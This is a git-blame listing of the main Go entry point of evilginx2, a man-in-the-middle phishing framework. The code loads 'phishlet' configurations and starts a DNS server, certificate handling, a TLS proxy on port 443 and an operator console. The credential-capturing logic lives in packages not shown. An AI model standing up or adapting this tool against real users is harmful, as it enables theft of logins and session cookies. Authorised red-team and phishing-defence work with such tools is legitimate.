2018-07-26 11:20:37 +02:00
|
|
|
package main
|
|
|
|
|
|
|
|
import (
|
|
|
|
"flag"
|
|
|
|
"io/ioutil"
|
|
|
|
"os"
|
|
|
|
"os/user"
|
|
|
|
"path/filepath"
|
|
|
|
"regexp"
|
|
|
|
|
2019-10-13 17:05:47 +02:00
|
|
|
"github.com/kgretzky/evilginx2/core"
|
|
|
|
"github.com/kgretzky/evilginx2/database"
|
|
|
|
"github.com/kgretzky/evilginx2/log"
|
2018-07-26 11:20:37 +02:00
|
|
|
)
|
|
|
|
|
|
|
|
var phishlets_dir = flag.String("p", "", "Phishlets directory path")
|
|
|
|
var debug_log = flag.Bool("debug", false, "Enable debug output")
|
2018-09-08 13:45:17 +02:00
|
|
|
var developer_mode = flag.Bool("developer", false, "Enable developer mode (generates self-signed certificates for all hostnames)")
|
2018-07-26 11:20:37 +02:00
|
|
|
|
|
|
|
func joinPath(base_path string, rel_path string) string {
|
|
|
|
var ret string
|
|
|
|
if filepath.IsAbs(rel_path) {
|
|
|
|
ret = rel_path
|
|
|
|
} else {
|
|
|
|
ret = filepath.Join(base_path, rel_path)
|
|
|
|
}
|
|
|
|
return ret
|
|
|
|
}
|
|
|
|
|
|
|
|
func main() {
|
|
|
|
exe_path, _ := os.Executable()
|
|
|
|
exe_dir := filepath.Dir(exe_path)
|
|
|
|
|
|
|
|
core.Banner()
|
|
|
|
flag.Parse()
|
|
|
|
if *phishlets_dir == "" {
|
|
|
|
*phishlets_dir = joinPath(exe_dir, "./phishlets")
|
|
|
|
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
|
|
|
|
*phishlets_dir = "/usr/share/evilginx/phishlets/"
|
|
|
|
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
|
|
|
|
log.Fatal("you need to provide the path to directory where your phishlets are stored: ./evilginx -p <phishlets_path>")
|
|
|
|
return
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
|
|
|
|
log.Fatal("provided phishlets directory path does not exist: %s", *phishlets_dir)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
log.DebugEnable(*debug_log)
|
|
|
|
if *debug_log {
|
|
|
|
log.Info("debug output enabled")
|
|
|
|
}
|
|
|
|
|
|
|
|
phishlets_path := *phishlets_dir
|
|
|
|
log.Info("loading phishlets from: %s", phishlets_path)
|
|
|
|
cfg_dir := ""
|
|
|
|
|
|
|
|
if cfg_dir == "" {
|
|
|
|
usr, err := user.Current()
|
|
|
|
if err != nil {
|
|
|
|
log.Fatal("%v", err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
cfg_dir = filepath.Join(usr.HomeDir, ".evilginx")
|
|
|
|
}
|
|
|
|
err := os.MkdirAll(cfg_dir, os.FileMode(0700))
|
|
|
|
if err != nil {
|
|
|
|
log.Fatal("%v", err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
crt_path := joinPath(cfg_dir, "./crt")
|
|
|
|
|
|
|
|
if err := core.CreateDir(crt_path, 0700); err != nil {
|
|
|
|
log.Fatal("mkdir: %v", err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
cfg, err := core.NewConfig(cfg_dir, "")
|
|
|
|
if err != nil {
|
|
|
|
log.Fatal("config: %v", err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
db, err := database.NewDatabase(filepath.Join(cfg_dir, "data.db"))
|
|
|
|
if err != nil {
|
|
|
|
log.Fatal("database: %v", err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
files, err := ioutil.ReadDir(phishlets_path)
|
|
|
|
if err != nil {
|
|
|
|
log.Fatal("failed to list phishlets directory '%s': %v", phishlets_path, err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
for _, f := range files {
|
|
|
|
if !f.IsDir() {
|
2018-09-08 16:02:48 +02:00
|
|
|
pr := regexp.MustCompile(`([a-zA-Z0-9\-\.]*)\.yaml`)
|
2018-07-26 11:20:37 +02:00
|
|
|
rpname := pr.FindStringSubmatch(f.Name())
|
|
|
|
if rpname == nil || len(rpname) < 2 {
|
|
|
|
continue
|
|
|
|
}
|
|
|
|
pname := rpname[1]
|
|
|
|
if pname != "" {
|
|
|
|
pl, err := core.NewPhishlet(pname, filepath.Join(phishlets_path, f.Name()), cfg)
|
|
|
|
if err != nil {
|
|
|
|
log.Error("failed to load phishlet '%s': %v", f.Name(), err)
|
|
|
|
continue
|
|
|
|
}
|
2018-11-21 09:32:22 +01:00
|
|
|
//log.Info("loaded phishlet '%s' made by %s from '%s'", pl.Name, pl.Author, f.Name())
|
2018-07-26 11:20:37 +02:00
|
|
|
cfg.AddPhishlet(pname, pl)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
ns, _ := core.NewNameserver(cfg)
|
|
|
|
ns.Start()
|
|
|
|
hs, _ := core.NewHttpServer()
|
|
|
|
hs.Start()
|
|
|
|
|
|
|
|
crt_db, err := core.NewCertDb(crt_path, cfg, ns, hs)
|
|
|
|
if err != nil {
|
|
|
|
log.Fatal("certdb: %v", err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
2018-09-08 13:45:17 +02:00
|
|
|
hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, *developer_mode)
|
2018-07-26 11:20:37 +02:00
|
|
|
hp.Start()
|
|
|
|
|
2018-09-08 13:45:17 +02:00
|
|
|
t, err := core.NewTerminal(cfg, crt_db, db, *developer_mode)
|
2018-07-26 11:20:37 +02:00
|
|
|
if err != nil {
|
|
|
|
log.Fatal("%v", err)
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
t.DoWork()
|
|
|
|
}
|